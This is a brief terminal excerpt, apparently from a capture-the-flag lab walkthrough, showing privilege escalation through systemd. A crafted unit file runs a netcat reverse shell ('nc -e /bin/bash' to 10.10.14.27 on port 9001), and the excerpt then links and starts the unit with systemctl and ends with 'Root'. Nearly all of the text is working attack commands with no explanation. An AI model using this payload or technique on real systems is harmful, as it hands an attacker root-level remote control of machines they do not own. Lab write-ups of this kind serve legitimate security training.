pepper@jarvis:/dev/shm$ cat hi.service
[Service]
Type=notify
ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.27 9001'
KillMode=process
Restart=on-failure
RestartSec=42s
[Install]
WantedBy=multi-user.target
systemctl link /dev/shm/hi.service
systemctl start hi
Root